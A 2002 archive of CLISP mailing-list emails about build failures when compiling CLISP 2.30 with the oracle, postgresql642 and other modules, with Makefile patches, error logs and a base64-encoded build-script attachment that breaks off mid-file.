ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18GVVl-0006eq-00 for ; Mon, 25 Nov 2002 18:31:42 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 681852D080; Tue, 26 Nov 2002 03:31:18 +0100 (CET) From: Pascal Bourguignon Message-ID: <15842.56564.53210.396648@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: sds@gnu.org Subject: Re: [clisp-list] Compiling clisp-2.30: No rule to make target `clisp-module' In-Reply-To: References: <20021125180246.10BD0464BC@thalassa.informatimago.com> X-Mailer: VM 7.07 under Emacs 21.2.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 25 18:32:03 2002 X-Original-Date: Tue, 26 Nov 2002 03:31:16 +0100 Sam Steingold writes: > > * In message <20021125180246.10BD0464BC@thalassa.informatimago.com> > > * On the subject of "[clisp-list] Compiling clisp-2.30: No rule to > > make target `clisp-module'" > > * Sent on Mon, 25 Nov 2002 19:02:46 +0100 (CET) > > * Honorable Pascal Bourguignon writes: > > > > While compiling clisp-2.30 on Linux 2.4.10-4GB (SuSE Linux 7.3) with: > > > > ./configure --prefix=/local/language/clisp --with-export-syscalls > > so far - so good. > > > --with-threads=POSIX_THREADS > > not supported and probably does not work at all. Well, I did not expect "[highly experimental - use at your own risk]" to mean that it would not even compile... :-) > > `cd modules ; for m in * ; do echo --with-module=$m ; done` > > huh?!!! did you try "ls modules"? > how do you expect amiga bindings to compile on your linux box? > [...] > specify only the modules you will _really_ need. Yes I did. But I did not "ls modules/*"... May I suggest to have a homegeneous directory structure here, and have in the modules/ directory only module subdirectories? Something like: cd modules ( cd bindings ; for f in * ; do mv $f ../bindings-$f ; done ) ; rmdir bindings ( cd clx ; for f in * ; do mv $f ../clx-$f ; done ) ; rmdir clx mv clx-clx-manual.tar.gz clx-manual.tar.gz mv clx-new-clx/Makefile.in clx-new-clx/Makefile.in.old sed -e 's-../../-../-g' < clx-new-clx/Makefile.in.old > clx-new-clx/Makefile.in Or alternatively, have a little note somewhere about the fact that modules should be found deeply. Perhaps in configure, since I infered (cd modules ; for f in * ; ... ) from: --with-module=MODULE build with add-on MODULE this requires dynamic FFI and will turn it on if the FFI checks pass --> --with-module=MODULE build with add-on MODULE, name of directory, or one of the mutually exclusive directory/subdirectory, in ./modules/ This requires dynamic FFI and will turn it on if the FFI checks pass Ok, now, compiling with: tar zxvf /local/ftp/pub/ftp.gnu.org/gnu/clisp/source/2.30/clisp-2.30.tar.gz cd clisp-2.30/ ./configure --prefix=/local/language/clisp --with-export-syscalls `cd modules ; for m in bindings/linuxlibc6 clx/new-clx oracle postgresql642 queens regexp wildcard ; do echo --with-module=$m ; done` --hyperspec=http://www.informatimago.com/local/lisp/HyperSpec/ cd src ./makemake --with-dynamic-ffi --prefix=/local/language/clisp --with-export-syscalls --with-module=bindings/linuxlibc6 --with-module=clx/new-clx --with-module=oracle --with-module=postgresql642 --with-module=queens --with-module=regexp --with-module=wildcard --hyperspec=http://www.informatimago.com/local/lisp/HyperSpec/ > Makefile make config.lisp cp ../../clisp-pjb-config.lisp config.lisp make I get this: make[1]: Entering directory `/local/src/clisp-2.30/src/oracle' Makefile:28: *** missing separator (did you mean TAB instead of 8 spaces?). Stop. make[1]: Leaving directory `/local/src/clisp-2.30/src/oracle' make: *** [oracle] Error 2 May I suggest: mv modules/oracle/Makefile.in modules/oracle/Makefile.in.old sed -e 's/^ */^/' < modules/oracle/Makefile.in.old \ | tr '^' '\011' > modules/oracle/Makefile.in Oracle distributions are rather chaotic. In my 8.0.5, I have nzt.h in network/public, not in rdbms/public. My ociextp.h is in plsql/public. And several libraries are missing. To be able to compile --with-module=oracle, I need to do these patches: cd modules/oracle patch -p0 <<'EOF' --- link.sh Tue Nov 26 00:38:41 2002 +++ link.sh.pjb Tue Nov 26 00:40:57 2002 @@ -9,7 +9,7 @@ # Get additional libs for Oracle client. This may be # system specific and require some tweaking. -NEW_LIBS="oracle.o oiface.o orafns.o -L ${ORACLE_HOME}/lib -lclntsh -ldl -lpthread -lm" +NEW_LIBS="oracle.o oiface.o orafns.o -L ${ORACLE_HOME}/lib -lclntsh -lcommon -lcore4 -lnlsrtl3 -ldl -lpthread -lm " NEW_MODULES="oracle" TO_LOAD="oracle" --- Makefile.in Mon Nov 25 22:12:07 2002 +++ Makefile.in.pjb Mon Nov 25 22:12:45 2002 @@ -3,13 +3,9 @@ # # $Id -# This will come from the environment -ORACLE_HOME = /usr/local/oracle - CC = @CC@ CFLAGS = @CFLAGS@ - -ORA_INCLUDES = -I.. -I ${ORACLE_HOME}/rdbms/demo -I ${ORACLE_HOME}/rdbms/public +MY_INCLUDES = -I.. # CLISP = clisp @@ -22,19 +18,26 @@ DISTRIBFILES = oracle.o orafns.o oiface.o link.sh Makefile oracle.lisp distribdir = -all : orafns.o oracle.o oiface.o +all : check_ora_include orafns.o oracle.o oiface.o + +check_ora_include: + @if [ -z "$(ORA_INCLUDES)" ] ; then \ + echo "Please define ORA_INCLUDES in the environment with -I options " ;\ + echo "indicating the oracle include directories." ;\ + exit 1 ;\ + fi oracle.c: oracle.lisp $(CLISP) -c oracle.lisp oracle.o: oracle.c - $(CC) $(CFLAGS) $(INCLUDES) $(ORA_INCLUDES) -c oracle.c + $(CC) $(CFLAGS) $(INCLUDES) $(MY_INCLUDES) $(ORA_INCLUDES) -c oracle.c orafns.o: orafns.c oiface.h - $(CC) $(CFLAGS) $(INCLUDES) $(ORA_INCLUDES) -c orafns.c + $(CC) $(CFLAGS) $(INCLUDES) $(MY_INCLUDES) $(ORA_INCLUDES) -c orafns.c oiface.o: oiface.c oiface.h - $(CC) $(CFLAGS) $(INCLUDES) $(ORA_INCLUDES) -c oiface.c + $(CC) $(CFLAGS) $(INCLUDES) $(MY_INCLUDES) $(ORA_INCLUDES) -c oiface.c # Make a module clisp-module : all EOF When I use --with-module=postgresql642 I get this error: full/lisp.run -B . -M full/lispinit.mem -norc -q -i bindings/linuxlibc6/linux bindings/linuxlibc6/wrap clx/new-clx/clx clx/new-clx/image oracle/oracle postgresql642/postgresql regexp/regexp wildcard/wildcard -x (saveinitmem "full/lispinit.mem") ;; Loading file /local/src/clisp-2.30/src/bindings/linuxlibc6/linux.fas ... WARNING: (COMMON-LISP:DEFCONSTANT NGROUPS_MAX _POSIX_NGROUPS_MAX) redefines the constant NGROUPS_MAX. Its old value was 32. ;; Loaded file /local/src/clisp-2.30/src/bindings/linuxlibc6/linux.fas ;; Loading file /local/src/clisp-2.30/src/bindings/linuxlibc6/wrap.fas ... ;; Loaded file /local/src/clisp-2.30/src/bindings/linuxlibc6/wrap.fas ;; Loading file /local/src/clisp-2.30/src/clx/new-clx/clx.fas ... ;; Loaded file /local/src/clisp-2.30/src/clx/new-clx/clx.fas ;; Loading file /local/src/clisp-2.30/src/clx/new-clx/image.fas ... ;; Loaded file /local/src/clisp-2.30/src/clx/new-clx/image.fas ;; Loading file /local/src/clisp-2.30/src/oracle/oracle.fas ... ;; Loaded file /local/src/clisp-2.30/src/oracle/oracle.fas ;; Loading file /local/src/clisp-2.30/src/postgresql642/postgresql.fas ... *** - Incomplete FFI type ConnStatusType is not allowed here. Actually I have postgresql 7.1.3. Perhaps that's the reason why I get this error? So, finally, I can compile with: ./configure --prefix=/local/language/clisp --with-export-syscalls `cd modules ; for m in bindings/linuxlibc6 clx/new-clx oracle queens regexp wildcard ; do echo --with-module=$m ; done` --hyperspec=http://www.informatimago.com/local/lisp/HyperSpec/ and successfully make check. Note: latest CVS checkout does not compile, missing a lot of symbols. -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From pascal@thalassa.informatimago.com Mon Nov 25 19:34:11 2002 Received: from thalassa.informatimago.com ([212.87.205.57] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18GWUA-0007j6-00 for ; Mon, 25 Nov 2002 19:34:07 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 74900464C0; Tue, 26 Nov 2002 04:33:58 +0100 (CET) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20021126033358.74900464C0@thalassa.informatimago.com> Subject: [clisp-list] clue+clio+xit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 25 19:35:01 2002 X-Original-Date: Tue, 26 Nov 2002 04:33:58 +0100 (CET) I'm trying to use/compile clue+clio+xit.clisp.tar.gz with clisp-2.30. Is there any clue+clio+xit more up-to-date than that I found on ftp://ftp.gnu.org/gnu/clisp/packages/ or the various mirrors like ftp://cvs2.cons.org/pub/lisp/clisp/packages ? Because these packages seem very old. For example, the Makefile of clue+clio+xit.clisp.tar.gz refers to a ../../clx.mem while clx is now "integrated" with clisp and can be used with -K full, and besides, I get these errors: [...] Deleted file /local/src/clue+clio+xit/clue/clx-patch.fas There were errors in the following functions: XLIB:CREATE-WINDOW The following functions were used but not defined: XLIB::MAKE-WINDOW XLIB::ALLOCATE-RESOURCE-ID (SETF XLIB:WINDOW-ID) XLIB::TYPE? XLIB::X-TYPE-ERROR XLIB::ENCODE-DEVICE-EVENT-MASK XLIB::WITH-BUFFER-REQUEST XLIB:DISPLAY XLIB::DATA XLIB:WINDOW XLIB:INT16 XLIB:CARD16 XLIB:RESOURCE-ID XLIB::MASK XLIB:CARD32 The following special variables were not defined: XLIB::*X-CREATEWINDOW* 7 errors, 9 warnings ; Loading clx-patch.fas *** - A file with name clx-patch.fas does not exist make: *** [compile-clue] Error 1 make: Target `all' not remade because of errors. Compilation exited abnormally with code 2 at Tue Nov 26 04:17:45 Actually, I'm going a little blind in there, I corrected these lines in the Makefile: clisp -q -c defsystem --> clisp -q -c defsystem.lsp clisp -M ../../clx.mem -m 5MB -q -x $(INIT)' (compile-clue)' --> clisp -K full -m 5MB -q -x $(INIT)' (compile-clue)' clisp -M ../../clx.mem -m 5MB -q -x $(INIT)' (load-clue) (saveinitmem)' --> clisp -K full -m 5MB -q -x $(INIT)' (load-clue) (saveinitmem)' And added these lines to defsystem.lsp: (in-package "USER") (defpackage "CLUE") (defpackage "CLUEI") Seeing the dates in clisp/packages, it seems like nothing more has been done in Lisp for ten years... :-( -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From Joerg-Cyril.Hoehle@t-systems.com Tue Nov 26 01:47:53 2002 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18GcJr-00070h-00 for ; Tue, 26 Nov 2002 01:47:51 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 26 Nov 2002 10:39:15 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 26 Nov 2002 10:39:15 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] modules and FFI dependency (was: Compiling clisp-2.30: No rule to make target `clisp-module') Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 26 01:48:04 2002 X-Original-Date: Tue, 26 Nov 2002 10:39:13 +0100 Hi, For completeness, the below message from "./configure" is wrong. I = consider it more to be describing a limitation of configure's = --with-module extension or the clisp-link sh script. The truth is that modules are a lower-level entity than the FFI. You = can create and link modules without -DDYNAMIC_FFI. Examples: the Amiga AFFI module and probably also Dan Stanger's GDI = module. All modules written by hand as in my cookbook. FOREIGN-POINTER = objects are available in CLISP without DYNAMIC_FFI. It's the FFI that may use CLISP's module system, not the other way = round. E.g., compilation of DEF-CALL-IN/OUT forms generates C code as a = side-effect. The emitted C code depends on CLISP's external module = system. Example: the regexp module and probably all the rest. The FFI must not necessarily use the module system: with dynamic or = shared libraries (the day they get into CLISP), you would not need C = code anymore if you like. FFI | \ | modules | | CLISP This also means that the day CLISP will have dynamic libraries, the = configure script will have to distinguish "link modules" (with = Lisp->C->link+image) from "modules" (or packages?) which would be = entities that can be loaded and activated on demand, without requiring = relinking (like any other .lisp/.fas files). A priori, the modules/ = subdirectory could contain both of them. The quoted text below should say no more than: The modules/ subdirectory contains external CLISP modules. On UNIX, = modules can be linked to CLISP using the clisp-link shell script. This = is what configure --with-module=3DX will prepare. Modules using = DEF-CALL-IN/OUT forms depend on the FFI. It is a limitation of the configure [and clisp-link?] script that using = --with-module=3DX turns on --with-dynamic-ffi [but who would build = CLISP without it except for testing?] Pascal Bourguignon a =E9crit: >Or alternatively, have a little note somewhere about the fact that >modules should be found deeply. Perhaps in configure, since I infered >(cd modules ; for f in * ; ... ) from: > > --with-module=3DMODULE build with add-on MODULE > this requires dynamic FFI and will turn = it on > if the FFI checks pass >--> > --with-module=3DMODULE build with add-on MODULE, name of = directory, > or one of the mutually exclusive > directory/subdirectory, in ./modules/ > This requires dynamic FFI and will turn = it on > if the FFI checks pass What's mutually exclusive? Postgres 6.x and 6.y? Why? Incompatible link = libraries? Thanks for trying to compile as much modules as possible and reporting. Regards, J=F6rg H=F6hle. From pascal@thalassa.informatimago.com Tue Nov 26 04:19:50 2002 Received: from thalassa.informatimago.com ([212.87.205.57] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Gege-0001YZ-00 for ; Tue, 26 Nov 2002 04:19:36 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 500DD28656; Tue, 26 Nov 2002 13:19:01 +0100 (CET) From: Pascal Bourguignon Message-ID: <15843.26293.215088.959722@thalassa.informatimago.com> Cc: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] modules and FFI dependency (was: Compiling clisp-2.30: No rule to make target `clisp-module') In-Reply-To: References: X-Mailer: VM 7.07 under Emacs 21.2.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 26 04:20:06 2002 X-Original-Date: Tue, 26 Nov 2002 13:19:01 +0100 Hoehle, Joerg-Cyril writes: > Hi, > > For completeness, the below message from "./configure" is wrong. I > consider it more to be describing a limitation of configure's > --with-module extension or the clisp-link sh script. > [...] > The quoted text below should say no more than: > > The modules/ subdirectory contains external CLISP modules. On UNIX, > modules can be linked to CLISP using the clisp-link shell script. This > is what configure --with-module=X will prepare. Modules using > DEF-CALL-IN/OUT forms depend on the FFI. > > It is a limitation of the configure [and clisp-link?] script that > using --with-module=X turns on --with-dynamic-ffi [but who would > build CLISP without it except for testing?] > > > Pascal Bourguignon a écrit: > >Or alternatively, have a little note somewhere about the fact that > >modules should be found deeply. Perhaps in configure, since I infered > >(cd modules ; for f in * ; ... ) from: > > > > --with-module=MODULE build with add-on MODULE > > this requires dynamic FFI and will turn it on > > if the FFI checks pass > >--> > > --with-module=MODULE build with add-on MODULE, name of directory, > > or one of the mutually exclusive > > directory/subdirectory, in ./modules/ > > This requires dynamic FFI and will turn it on > > if the FFI checks pass > > What's mutually exclusive? Postgres 6.x and 6.y? Why? Incompatible > link libraries? Perhaps, the fact that both modules export the same SQL package? Or the same LINUX and LINUX-AUX packages defined by the bindings/linuxlibc* modules? Granted, one perhaps could compile all of them at once, but we could not build a system with all of them. The point is that a naive user cannot blindly configure and compile. Perhaps it should be added in the link.sh scripts tests to see if the module can be compiled for the current target (or this could be the job of configure), so amigaos would not include itself to the compilation when the amigaos libraries are not available, and so on for the linuxlibcs. Thus, the right bindings for the target system could be selected automatically. > Thanks for trying to compile as much modules as possible and reporting. Thanks for providing us with these modules! > Regards, > Jörg Höhle. -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From pascal@thalassa.informatimago.com Tue Nov 26 04:44:54 2002 Received: from thalassa.informatimago.com ([212.87.205.57]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Gf4r-0001oL-00 for ; Tue, 26 Nov 2002 04:44:34 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 41EEB2ACC0; Tue, 26 Nov 2002 13:44:08 +0100 (CET) From: Pascal Bourguignon Message-ID: <15843.27799.781550.70763@thalassa.informatimago.com> Cc: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] modules and FFI _dependency_ make target `clisp-module') In-Reply-To: References: X-Mailer: VM 7.07 under Emacs 21.2.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: multipart/mixed; boundary="thalassa.informatimago.com.74991451.2002-11-26-13-42-42/-1" Content-Disposition: inline Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 26 04:45:04 2002 X-Original-Date: Tue, 26 Nov 2002 13:44:07 +0100 This is a MIME formated message. --thalassa.informatimago.com.74991451.2002-11-26-13-42-42/-1 Content-Language: en Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit Hoehle, Joerg-Cyril writes: > Hi, > > For completeness, the below message from "./configure" is wrong. I > consider it more to be describing a limitation of configure's > --with-module extension or the clisp-link sh script. > > The truth is that modules are a lower-level entity than the FFI. You > can create and link modules without -DDYNAMIC_FFI. > > Examples: the Amiga AFFI module and probably also Dan Stanger's GDI > module. All modules written by hand as in my cookbook. FOREIGN-POINTER > objects are available in CLISP without DYNAMIC_FFI. > > It's the FFI that may use CLISP's module system, not the other way > round. E.g., compilation of DEF-CALL-IN/OUT forms generates C code as > a side-effect. The emitted C code depends on CLISP's external module > system. > > Example: the regexp module and probably all the rest. > > The FFI must not necessarily use the module system: with dynamic or > shared libraries (the day they get into CLISP), you would not need C > code anymore if you like. > > FFI > | \ > | modules > | | > CLISP I guess you mean this diagram: +---------------------+ +-------------+ | some modules | | some other | | like postgresql642 | | modules | +---------------------+ +-------------+ | | | +---+ | | | | | v | | +-----+ | | | FFI | | | +-----+ | +--------------+ | | | | | +------+ | | | | | | | v v v | +----------------+ | | module-system | | +----------------+ | | | | v v +---------------+ | CLISP | +---------------+ because regarding this dependency on FFI, it seems that it's a problem of dependency (configure? makefiles?) that makes it fail with: full/lisp.run -B . -M full/lispinit.mem -norc -q -i clx/new-clx/clx clx/new-clx/image oracle/oracle postgresql642/postgresql bindings/linuxlibc6/linux bindings/linuxlibc6/wrap regexp/regexp wildcard/wildcard -x (saveinitmem "full/lispinit.mem") ;; Loading file /local/src/clisp-2.30/src/clx/new-clx/clx.fas ... ;; Loaded file /local/src/clisp-2.30/src/clx/new-clx/clx.fas ;; Loading file /local/src/clisp-2.30/src/clx/new-clx/image.fas ... ;; Loaded file /local/src/clisp-2.30/src/clx/new-clx/image.fas ;; Loading file /local/src/clisp-2.30/src/oracle/oracle.fas ... ;; Loaded file /local/src/clisp-2.30/src/oracle/oracle.fas ;; Loading file /local/src/clisp-2.30/src/postgresql642/postgresql.fas ... *** - Incomplete FFI type ConnStatusType is not allowed here. [1]> when I configure and compile with postgresql642 at once, because when I did: - configure all modules I can but postgresql642, and compile ok, - then in the same build tree, I configure anew with only postgresql642, - and then compile it, it succeeded. So, it seems that postgresql642 needs FFI, but FFI is not compiled or integrated before postgresql642. I need to configure/compile first without it, and once again with it. See attached script. Also, it's surprizing that when you re-configure with a different set of modules, those that are not configured in the later run are still included (just because their object files are still there). We'd need at least a Makefile with a distclean target at top level... > This also means that the day CLISP will have dynamic libraries, the > configure script will have to distinguish "link modules" (with > Lisp->C->link+image) from "modules" (or packages?) which would be > entities that can be loaded and activated on demand, without requiring > relinking (like any other .lisp/.fas files). A priori, the modules/ > subdirectory could contain both of them. -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein --thalassa.informatimago.com.74991451.2002-11-26-13-42-42/-1 Content-Transfer-Encoding: base64 Content-Type: application/x-shellscript Content-Disposition: attachment; filename="clisp-pjb-compile" Content-Description: Script to compile clisp-2.30 on Linux IyEvYmluL2Jhc2gKZXhwb3J0IE9SQV9JTkNMVURFUz0iLUkkT1JBQ0xFX0hPTUUvcmRibXMv ZGVtbyAtSSRPUkFDTEVfSE9NRS9uZXR3b3JrL3B1YmxpYyAtSSRPUkFDTEVfSE9NRS9wbHNx bC9wdWJsaWMiCgpjZCAvbG9jYWwvc3JjCnJtIC1yZiBjbGlzcC0yLjMwCgoKdGFyIHp4ZiAv bG9jYWwvZnRwL3B1Yi9mdHAuZ251Lm9yZy9nbnUvY2xpc3Avc291cmNlLzIuMzAvY2xpc3At Mi4zMC50YXIuZ3ogCmNkIGNsaXNwLTIuMzAvCgptdiBtb2R1bGVzL29yYWNsZS9NYWtlZmls ZS5pbiBtb2R1bGVzL29yYWNsZS9NYWtlZmlsZS5pbi5vbGQKc2VkIC1lICdzL14gICovXi8n IDwgbW9kdWxlcy9vcmFjbGUvTWFrZWZpbGUuaW4ub2xkIFwKfCB0ciAnXicgJ1wwMTEnID4g bW9kdWxlcy9vcmFjbGUvTWFrZWZpbGUuaW4KCnB1c2hkIG1vZHVsZXMvb3JhY2xlCnBhdGNo IC1wMCA8PCdFT0YnCi0tLSBsaW5rLnNoICAgICAgICBUdWUgTm92IDI2IDAwOjM4OjQxIDIw MDIKKysrIGxpbmsuc2gucGpiICAgICBUdWUgTm92IDI2IDAwOjQwOjU3IDIwMDIKQEAgLTks NyArOSw3IEBACiAKICMgR2V0IGFkZGl0aW9uYWwgbGlicyBmb3IgT3JhY2xlIGNsaWVudC4g IFRoaXMgbWF5IGJlCiAjIHN5c3RlbSBzcGVjaWZpYyBhbmQgcmVxdWlyZSBzb21lIHR3ZWFr aW5nLgotTkVXX0xJQlM9Im9yYWNsZS5vIG9pZmFjZS5vIG9yYWZucy5vIC1MICR7T1JBQ0xF X0hPTUV9L2xpYiAtbGNsbnRzaCAtbGRsIC1scHRocmVhZCAtbG0iCitORVdfTElCUz0ib3Jh Y2xlLm8gb2lmYWNlLm8gb3JhZm5zLm8gLUwgJHtPUkFDTEVfSE9NRX0vbGliIC1sY2xudHNo IC1sY29tbW9uIC1sY29yZTQgLWxubHNydGwzIC1sZGwgLWxwdGhyZWFkIC1sbSAiCiAKIE5F V19NT0RVTEVTPSJvcmFjbGUiCiBUT19MT0FEPSJvcmFjbGUiCi0tLSBNYWtlZmlsZS5pbglN b24gTm92IDI1IDIyOjEyOjA3IDIwMDIKKysrIE1ha2VmaWxlLmluLnBqYglNb24gTm92IDI1 IDIyOjEyOjQ1IDIwMDIKQEAgLTMsMTMgKzMsOSBAQAogIwogIyAkSWQKIAotIyBUaGlzIHdp bGwgY29tZSBmcm9tIHRoZSBlbnZpcm9ubWVudAotT1JBQ0xFX0hPTUUgPSAvdXNyL2xvY2Fs L29yYWNsZQotCiBDQyA9IEBDQ0AKIENGTEFHUyA9IEBDRkxBR1NACi0KLU9SQV9JTkNMVURF UyA9IC1JLi4gLUkgJHtPUkFDTEVfSE9NRX0vcmRibXMvZGVtbyAtSSAke09SQUNMRV9IT01F fS9yZGJtcy9wdWJsaWMKK01ZX0lOQ0xVREVTID0gLUkuLgogCiAjIENMSVNQID0gY2xpc3AK IApAQCAtMjIsMTkgKzE4LDI2IEBACiBESVNUUklCRklMRVMgPSBvcmFjbGUubyBvcmFmbnMu byBvaWZhY2UubyBsaW5rLnNoIE1ha2VmaWxlIG9yYWNsZS5saXNwCiBkaXN0cmliZGlyID0K IAotYWxsIDogb3JhZm5zLm8gb3JhY2xlLm8gb2lmYWNlLm8KK2FsbCA6IGNoZWNrX29yYV9p bmNsdWRlIG9yYWZucy5vIG9yYWNsZS5vIG9pZmFjZS5vCisKK2NoZWNrX29yYV9pbmNsdWRl OgorCUBpZiBbIC16ICIkKE9SQV9JTkNMVURFUykiIF0gOyB0aGVuIFwKKwkJZWNobyAiUGxl YXNlIGRlZmluZSBPUkFfSU5DTFVERVMgaW4gdGhlIGVudmlyb25tZW50IHdpdGggLUkgb3B0 aW9ucyAiIDtcCisJCWVjaG8gImluZGljYXRpbmcgdGhlIG9yYWNsZSBpbmNsdWRlIGRpcmVj dG9yaWVzLiIgO1wKKwkJZXhpdCAxIDtcCisJZmkKIAogb3JhY2xlLmM6ICAgICAgIG9yYWNs ZS5saXNwCiAJJChDTElTUCkgLWMgb3JhY2xlLmxpc3AKIAogb3JhY2xlLm86ICAgICAgIG9y YWNsZS5jCi0JJChDQykgJChDRkxBR1MpICQoSU5DTFVERVMpICQoT1JBX0lOQ0xVREVTKSAt YyBvcmFjbGUuYworCSQoQ0MpICQoQ0ZMQUdTKSAkKElOQ0xVREVTKSAkKE1ZX0lOQ0xVREVT KSAkKE9SQV9JTkNMVURFUykgLWMgb3JhY2xlLmMKIAogb3JhZm5zLm86ICAgICAgIG9yYWZu cy5jIG9pZmFjZS5oCi0JJChDQykgJChDRkxBR1MpICQoSU5DTFVERVMpICQoT1JBX0lOQ0xV 